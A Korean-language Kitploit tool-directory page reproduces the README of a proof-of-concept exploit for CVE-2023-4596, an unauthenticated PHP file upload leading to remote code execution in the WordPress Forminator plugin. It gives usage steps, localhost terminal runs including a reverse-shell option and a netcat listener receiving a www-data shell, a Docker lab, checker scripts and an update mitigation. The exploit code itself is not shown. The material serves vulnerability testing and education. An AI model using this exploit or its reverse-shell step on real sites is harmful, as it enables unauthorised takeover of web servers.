Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-4596 — PoC Script for CVE-2023-4596, unauthenticated Remote Command Execution through arbitrary file uploads. | Kitploit
도구/GitHubGitHub/e1a/cve-2023-4596
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHube1a/cve-2023-4596

CVE-2023-4596

PoC Script for CVE-2023-4596, unauthenticated Remote Command Execution through arbitrary file uploads.

저장소 보기
24511개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-4596

CVE-2023-4596에 대한 PoC 스크립트, 임의 파일 업로드를 통한 인증되지 않은 원격 명령 실행.

사용 중인 PoC 영상
Nuclei 템플릿
뉴스 기사
WordFence
NVD Nist

요약

WordPress 플러그인 Forminator에서 심각한 취약점이 발견되었으며, 이 취약점은 인증되지 않은 공격자가 서버에 임의의 파일을 업로드할 수 있게 합니다. 초기 개념 증명(PoC)이 제대로 작성되지 않았고, 원래 연구원은 설명되지 않은 코드가 포함된 요청과 함께 몇 가지 불명확한 스크린샷을 공유했습니다. 그래서 저는 이 과정을 단순화하고 자동화하기 위해 파이썬 스크립트를 작성했습니다.

이 취약점은 파일 유형 검증 과정의 오류로 인해 발생합니다. PHP와 같은 금지된 파일 형식을 업로드하려고 하면 '업로드된 파일의 확장자가 허용되지 않습니다'라는 경고가 생성됩니다. 이 알림에도 불구하고 업로드된 파일은 차단되지 않고 오히려 성공적으로 업로드되어 사이트의 '/wp-content/uploads' 폴더 내에서 접근할 수 있습니다. 이 취약점은 원격 코드 실행으로 이어질 수 있습니다.

Forminator는 현재 400,000개 이상의 사이트에서 활성화되어 있으며, 취약점의 단순성 덕분에 파일 업로드가 활성화된 Forminator를 실행하는 모든 사이트를 손쉽게 제어할 수 있습니다.

사용법

페이지에 업로드 기능이 있는 Forminator <= 1.24.6을 실행하는 페이지를 찾으세요. Forminator를 사용하여 파일 업로드 postdata를 실행하는 페이지의 전체 URL을 복사하세요. 도메인만 지정하면 오류가 발생합니다. interactsh 또는 Burp Collaborator를 사용하여 링크를 생성하고, 선택한 필드에 붙여넣을 수 있습니다. 업로드가 성공하면 5초 이내에 interactsh 또는 Burp에 요청이 나타나며 취약함을 나타냅니다.


취약한 인스턴스를 피해 없이 확인하기

root@kitploit:~
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7

______                   _             _              ______  _____  _____
|@E1A |                 (_)           | |             | ___ \/  __ \|  ___|
| |_ ___  _ __ _ __ ___  _ _ __   __ _| |_ ___  _ __  | |_/ /| /  \/| |__
|  _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| |    / | |    |  __|
| || (_) | |  | | | | | | | | | | (_| | || (_) | |    | |\ \ | \__/\| |___
\_| \___/|_|  |_| |_| |_|_|_| |_|\__,_|\__\___/|_|    \_| \_| \____/\____/


Input out-of-band link: <input link>

[+] Sending payload to target
[+] Successful file upload!

Uploaded File Location: http://127.0.0.1:8000/wp-content/uploads/2023/09/RefhnSzyQe.php

[+] Sending request to uploaded file...
[+] Successfully triggered the uploaded file!
[+] Check for an incoming request

인스턴스가 취약한지 확인하기 위해 버전 추출

root@kitploit:~
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7 -v

______                   _             _              ______  _____  _____
|@E1A |                 (_)           | |             | ___ \/  __ \|  ___|
| |_ ___  _ __ _ __ ___  _ _ __   __ _| |_ ___  _ __  | |_/ /| /  \/| |__
|  _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| |    / | |    |  __|
| || (_) | |  | | | | | | | | | | (_| | || (_) | |    | |\ \ | \__/\| |___
\_| \___/|_|  |_| |_| |_|_|_| |_|\__,_|\__\___/|_|    \_| \_| \____/\____/


[+] Vulnerable version found: 1.24.6

인스턴스에서 리버스 셸 시작

root@kitploit:~
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7 -r

______                   _             _              ______  _____  _____
|@E1A |                 (_)           | |             | ___ \/  __ \|  ___|
| |_ ___  _ __ _ __ ___  _ _ __   __ _| |_ ___  _ __  | |_/ /| /  \/| |__
|  _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| |    / | |    |  __|
| || (_) | |  | | | | | | | | | | (_| | || (_) | |    | |\ \ | \__/\| |___
\_| \___/|_|  |_| |_| |_|_|_| |_|\__,_|\__\___/|_|    \_| \_| \____/\____/


Enter IP address: <input IP>
Enter port: <input port>

[+] Sending payload to target
[+] Successful file upload!

Uploaded File Location: http://127.0.0.1:8000/wp-content/uploads/2023/09/IXLTyDMTEg.php

[+] Sending request to uploaded file...
[-] Request timed out. This could be due to the server being unavailable or because you started an reverse shell



user@debian:~$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 127.0.0.1 52760
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$

스크립트는 어떻게 작동하나요?

이 스크립트는 Forminator를 사용하여 파일 업로드가 활성화된 페이지의 전체 URL과 인스턴스가 취약한지 확인하기 위한 interactsh 링크만 필요로 합니다. 첫 번째 요청은 페이지로 전송되어 페이지마다 다른 값인 forminator_nonce와 form_id를 추출합니다. 이 값들을 검색한 후, 추출된 값을 사용하는 두 번째 요청이 전송되고 PHP 파일이 업로드됩니다. 이 PHP 파일은 사용자가 이전에 제공한 interactsh 링크를 사용하여 스크립트에 추가합니다. PHP 스크립트가 있는 페이지를 방문하면 interactsh에 요청이 나타나 사이트가 취약함을 보여줍니다. 정규식(Regex)은 URL을 요청에서 나중에 사용할 부분으로 분할하는 데 사용되며, -v 인수를 사용할 때 출력되는 Forminator 버전을 결정하는 데도 사용됩니다. 파일이 업로드되는 위치는 파일을 업로드하는 연도와 월에 따라 달라집니다. 그래서 현재 월과 연도를 확인하기 위해 datetime을 사용했으며, 이는 업로드된 파일 위치로 요청을 보낼 때도 나중에 사용됩니다. 취약점을 테스트할 때 단일 파일 이름을 사용했지만, 여러 파일을 보낸 후 첫 번째 업로드 파일만 시작된다는 것을 알게 되었습니다. 이를 해결하기 위해 각 요청마다 임의의 문자열을 사용합니다.

알려진 오류

[-] forminator_nonce를 추출할 수 없음
이 익스플로잇은 Forminator로 파일 업로드가 활성화된 정확한 페이지의 링크가 제공된 경우에만 작동합니다. 도메인만 제공되거나 파일 업로드가 실행되지 않는 페이지의 링크가 제공되면 오류가 발생합니다. 이는 제공된 URL에서 forminator_nonce를 추출하는데, 이 페이지가 Forminator 또는 Forminator 파일 업로드를 실행하지 않으면 값을 찾을 수 없어 사용할 수 없기 때문입니다. 사이트의 소스 코드에서 "forminator-field-post-image-postdata" 문자열을 찾아 확인할 수도 있습니다. 전체 링크의 예는 다음과 같습니다: http://127.0.0.1:8000/?p=7. 전체 문제는 여기에서 확인할 수 있습니다.

침해 여부 확인 방법

저장소에 checker.sh와 checker.bat 두 파일을 포함시켰습니다. 이 파일들은 현재 폴더와 하위 폴더에서 차단된 확장자를 가진 파일을 확인합니다. 발견되면 표시됩니다. 이 스크립트의 이유는 플러그인이 설치된 매월마다 새 폴더가 생성되므로, 수동으로 모두 확인하는 데 많은 작업이 필요할 수 있기 때문입니다.

완화 조치

최신 버전으로 업데이트하세요.

설치

  1. cd CVE-2023-4596/ && docker-compose up -d
  2. http://127.0.0.1:8000로 이동
  3. wp 계정을 설정하고 취약한 플러그인을 여기에서 다운로드하세요.
  4. postdata 또는 파일 업로드가 포함된 양식을 만들고 게시물에 게시하세요.
  5. 명령어에 전체 URL을 붙여넣고 실행하세요.
  6. 즐기세요 ( /・・)ノ

면책 조항

제공된 스크립트는 교육 목적으로만 제공되며, 귀하의 행동에 대해 책임을 지지 않습니다.


트위터
제작: Finn van der Knaap

도구 다운로드